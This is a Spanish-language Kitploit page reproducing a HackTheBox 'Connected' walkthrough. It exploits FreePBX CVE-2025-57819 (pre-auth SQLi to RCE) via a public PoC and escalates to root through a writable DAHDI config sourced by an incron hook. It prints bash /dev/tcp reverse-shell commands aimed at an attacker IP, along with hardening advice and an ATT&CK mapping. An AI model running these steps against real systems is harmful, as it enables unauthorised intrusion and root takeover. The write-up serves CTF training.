Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HackTheBox-Connected — Writeup detallado de pruebas de penetración para la máquina 'Connected' de HackTheBox, que cubre la explotación de FreePBX CVE-2025-57819 (SQLi a RCE) y la escalada de privilegios mediante la mala configuración de incron hasta root. | Kitploit
Herramientas/GitHubGitHub/ikmalhanaan/hackthebox-connected
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

Writeup detallado de pruebas de penetración para la máquina 'Connected' de HackTheBox, que cubre la explotación de FreePBX CVE-2025-57819 (SQLi a RCE) y la escalada de privilegios mediante la mala configuración de incron hasta root.

Ver Repositorio
hace 14 díasAún no revisado

HTB Connected Completed Banner

Hack The Box: Connected — Writeup de Pentesting Profesional


📋 Resumen Ejecutivo

Connected es una máquina Linux basada en CentOS que ejecuta el sistema de comunicaciones VoIP FreePBX v16.0.40.7 integrado con Asterisk.

El flujo de explotación (Attack Vector / Kill Chain) consta de dos etapas principales:

  1. Initial Foothold (Acceso Inicial): Explotar la vulnerabilidad crítica CVE-2025-57819 (Authentication Bypass no autenticado e Inyección SQL que conduce a Remote Code Execution / RCE) en FreePBX para plantar una web shell y obtener una reverse shell como el usuario de servicio asterisk.
  2. Privilege Escalation (Escalada de Privilegios a Root): Auditar la configuración local del sistema y descubrir el daemon incron (inotify cron) que monitoriza archivos spool. Este trigger ejecuta el script root /usr/sbin/sysadmin_dahdi_restart cuando se escribe en el archivo /var/spool/asterisk/sysadmin/dahdi_restart. Debido a que el archivo de configuración DAHDI /etc/dahdi/init.conf tiene permisos de escritura (writable) para el usuario asterisk, la inyección de un payload de reverse shell en dicho archivo de configuración se ejecuta automáticamente con privilegios de root (uid=0).

📑 Índice de Contenidos

  1. Información de la Máquina y Entorno de Pruebas
  2. Fase 1: Reconocimiento y Escaneo de Puertos
  3. Fase 2: Enumeración Web e Identificación de Vulnerabilidades
  4. Fase 3: Acceso Inicial (Explotación de CVE-2025-57819)
  5. Fase 4: Post-Explotación y Escalada de Privilegios (Hacia Root)
  6. Fase 5: Análisis de Causa Raíz y Recomendaciones de Mitigación (Hardening)
  7. Mapeo MITRE ATT&CK

1. Información de la Máquina y Entorno de Pruebas


2. Fase 1: Reconocimiento y Escaneo de Puertos

El primer paso del pentesting comienza con un reconocimiento activo utilizando nmap para identificar puertos abiertos, servicios en ejecución y la versión del sistema.

2.1 Ejecutar un Escaneo Integral con Nmap

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Explicación de las Flags de Nmap:

  • -T4: Establece la plantilla de temporización agresiva para un escaneo más rápido y eficiente.
  • -sC: Ejecuta el conjunto de scripts NSE (Nmap Scripting Engine) por defecto para la detección de vulnerabilidades básicas.
  • -sV: Activa la detección de servicios y versiones en cada puerto que responda.
  • -oA recon/nmap_quick: Guarda todos los formatos de salida (estándar, grepable, XML) en el directorio recon.

2.2 Resultados del Análisis de Puertos y Servicios

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 Hallazgos Clave del Escaneo:

  1. Puerto 22 (SSH): Utiliza OpenSSH versión 7.4 (típico de sistemas CentOS 7).
  2. Puertos 80 y 443 (HTTP/HTTPS): Utiliza el servidor web Apache 2.4.6 con runtime PHP 7.4.16. El servidor web responde con una redirección HTTP al dominio http://connected.htb/.

3. Fase 2: Enumeración Web e Identificación de Vulnerabilidades

3.1 Configuración del Mapeo DNS Local

Debido a que el servidor web aplica virtual hosting y dirige el tráfico a connected.htb, necesitamos añadir la resolución del nombre de host local en /etc/hosts:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 Fingerprinting de la Aplicación Web (FreePBX)

Acceder a la URL http://connected.htb/admin/config.php a través del navegador muestra la interfaz de administración VoIP basada en web:

FreePBX Web Interface

Desde el footer de la página web, se obtiene la información de la versión específica:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • Aplicación: FreePBX Administration
  • Versión: 16.0.40.7
  • Vendor: Sangoma Technologies Inc.

4. Fase 3: Acceso Inicial (Explotación de CVE-2025-57819)

4.1 Análisis de Vulnerabilidad

La versión FreePBX 16.0.40.7 es vulnerable a CVE-2025-57819. Esta vulnerabilidad es una inyección SQL pre-autenticación que permite a un atacante sin credenciales (unauthenticated attacker) manipular la base de datos backend de FreePBX/Asterisk.

A través de dicha inyección SQL, el atacante puede modificar la tabla interna de cron jobs de Asterisk (asterisk.cron_jobs) o inyectar código PHP arbitrario en el directorio del servidor web (generando una Web Shell), lo que conduce a Remote Code Execution (RCE).

4.2 Preparación y Ejecución del Exploit

Utilizamos el PoC de exploit público de WatchTowr Labs:

root@kitploit:~
# 1. Clonar el repositorio del exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. Ejecutar el script del exploit contra el objetivo
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

Resultado de la Ejecución del Exploit: El script explota con éxito el objetivo y crea una webshell activa en el endpoint:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 Establecer la Reverse Shell y Obtener la User Flag

Para obtener una sesión interactiva (reverse shell), se realizan los siguientes pasos:

  1. Abrir un Listener de Netcat en la máquina del atacante:

    root@kitploit:~
    nc -lvnp 1212
    
  2. Enviar el Payload de Reverse Shell a través de la Web Shell: Enviar el payload de reverse shell usando curl con el parámetro codificado en URL:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_NUESTRA>/1212 0>&1'"
    
  3. Conexión Reverse Shell Recibida con Éxito: La conexión entrante llega al listener nc y obtenemos acceso a un shell interactivo como el usuario asterisk.

Reverse Shell and User Flag

  1. Obtener la User Flag:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. Fase 4: Post-Explotación y Escalada de Privilegios (Hacia Root)

Después de obtener acceso como el usuario asterisk, el siguiente paso es realizar una enumeración interna para buscar un vector de escalada de privilegios hacia root.

5.1 Enumeración del Daemon y Monitor de Archivos (incron)

Examinamos la configuración del daemon incron (inotify cron table), que es el servicio que ejecuta comandos cuando ocurre un evento del sistema de archivos (como la modificación o creación de archivos):

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Salida de la Configuración de Incron:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Análisis de las Reglas de Incron:

  • Línea: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • Mecanismo: Cada vez que el archivo /var/spool/asterisk/sysadmin/dahdi_restart se cierra después de una operación de escritura (IN_CLOSE_WRITE), el sistema ejecuta automáticamente el script /usr/sbin/sysadmin_dahdi_restart con privilegios de root.

5.2 Análisis del Script DAHDI y la Brecha de Permisos de Archivo Escribible

Una inspección más detallada del script /usr/sbin/sysadmin_dahdi_restart muestra que el script reinicia el servicio DAHDI (Digium Asterisk Hardware Device Interface) y ejecuta/carga (source) el archivo de configuración /etc/dahdi/init.conf.

La comprobación de permisos en el archivo /etc/dahdi/init.conf muestra que dicho archivo tiene permisos de escritura (writable) para el usuario asterisk:

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 Explotación: Inyección del Payload y Activación del Evento Incron

Debido a que /etc/dahdi/init.conf se ejecuta en el contexto de root cuando se reinicia DAHDI, podemos insertar un comando de reverse shell en dicho archivo de configuración y luego activar el reinicio a través de incron.

  1. Abrir un Nuevo Listener en la Máquina del Atacante (Puerto 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. Insertar la Reverse Shell en /etc/dahdi/init.conf:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_NUESTRA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. Activar el Evento Incron mediante la Escritura en el Archivo Spool:

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 Root Shell y Captura de la Flag

A los pocos segundos de que incron procese el evento de escritura del archivo, el script root ejecuta la línea de comando insertada y genera una conexión de reverse shell como root (uid=0):

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. Fase 5: Análisis de Causa Raíz y Recomendaciones de Mitigación (Hardening)


7. Mapeo MITRE ATT&CK


Pwned by ikmalhanaan 🚀

Descargar herramienta
ComponenteEspecificación / Descripción
Nombre de la MáquinaConnected
Sistema OperativoLinux (CentOS / FreePBX Distro)
IP Objetivo<IP_TARGET> (connected.htb)
IP del Atacante<IP_VPN_NUESTRA> (Interfaz VPN tun0)
Vulnerabilidad CríticaCVE-2025-57819 (FreePBX Auth Bypass y SQLi a RCE)
Mecanismo de PrivEscHook de Incron Daemon mal configurado + /etc/dahdi/init.conf escribible
Herramientas Utilizadasnmap, curl, python3, netcat (nc), bash, git
Vector de DebilidadImpactoRecomendación de Remediación / Mitigación
FreePBX Pre-Auth SQLi (CVE-2025-57819)Crítico — Permite RCE sin autenticación mediante inyección en la base de datos.Actualizar FreePBX a la versión de parche oficial más reciente de Sangoma. Aplicar validación estricta de entradas y Prepared Statements / Parameterized Queries en todos los endpoints de la API.
Permisos de Archivo Inseguros (/etc/dahdi/init.conf)Alto — Un usuario no autorizado (asterisk) puede modificar un archivo de configuración que es ejecutado por root.Restringir la propiedad y los permisos de escritura del archivo de configuración: chmod 644 /etc/dahdi/init.conf y chown root:root /etc/dahdi/init.conf.
Ejecución Automatizada de Root mediante IncronMedio/Alto — El script de automatización root carga archivos de configuración sin verificación de integridad.Auditar todas las reglas de incron y los scripts /usr/sbin/sysadmin_*. Evitar el sourcing de archivos de configuración dinámicos que sean vulnerables a modificaciones por parte de usuarios no root.
TácticaID de TécnicaNombre de la TécnicaAplicación en la Máquina
ReconocimientoT1595.002Active Scanning: Vulnerability ScanningEscaneo de puertos y servicios con nmap.
Acceso InicialT1190Exploit Public-Facing ApplicationExplotación de la vulnerabilidad CVE-2025-57819 en el servidor web FreePBX.
EjecuciónT1059.004Command and Scripting Interpreter: Unix ShellEjecución de comandos bash de reverse shell a través de la web shell y el script init.
Persistencia / Escalada de PrivilegiosT1053.003Scheduled Task/Job: CronAprovechamiento del daemon incron para ejecutar tareas root automáticas.
Escalada de PrivilegiosT1574.009Hijack Execution Flow: Path/Configuration HijackingInserción de comandos maliciosos en el archivo de configuración /etc/dahdi/init.conf.
Acceso a Credenciales / RecopilaciónT1005Data from Local SystemLectura de las flags user.txt y root.txt.